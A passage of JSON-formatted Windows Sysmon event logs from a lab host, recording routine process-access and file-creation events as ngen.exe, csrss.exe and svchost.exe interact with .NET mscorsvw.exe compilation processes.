644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-001090DB0900}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:26.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-001090DB0900}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6490,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:26.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-001090DB0900}\r\nTargetProcessId: 2980\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:26.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-001090DB0900}","TargetProcessId":"2980","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6491,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:26.135\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-0010DBDE0900}\r\nTargetProcessId: 4948\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:26.135","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-0010DBDE0900}","TargetProcessId":"4948","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6492,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:26.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-0010DBDE0900}\r\nTargetProcessId: 4948\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:26.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-0010DBDE0900}","TargetProcessId":"4948","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6493,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:26.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-0010DBDE0900}\r\nTargetProcessId: 4948\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:26.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-0010DBDE0900}","TargetProcessId":"4948","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6494,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:26.182\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-001009E20900}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:26.182","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-001009E20900}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6495,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:26.182\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-001009E20900}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:26.182","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-001009E20900}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6496,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:26.182\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-425A-5F2D-0000-001009E20900}\r\nTargetProcessId: 1324\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:26.182","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-425A-5F2D-0000-001009E20900}","TargetProcessId":"1324","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6497,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:00:27.010\r\nProcessGuid: {90617006-425A-5F2D-0000-001009E20900}\r\nProcessId: 1324\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\52c-0\\System.DirectoryServices.dll\r\nCreationUtcTime: 2020-08-07 12:00:27.010","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:00:27.010","ProcessGuid":"{90617006-425A-5F2D-0000-001009E20900}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\52c-0\\System.DirectoryServices.dll","CreationUtcTime":"2020-08-07 12:00:27.010","EventReceivedTime":"2020-08-07 12:00:27","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6498,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:27.057\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-425B-5F2D-0000-001016E60900}\r\nTargetProcessId: 5112\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 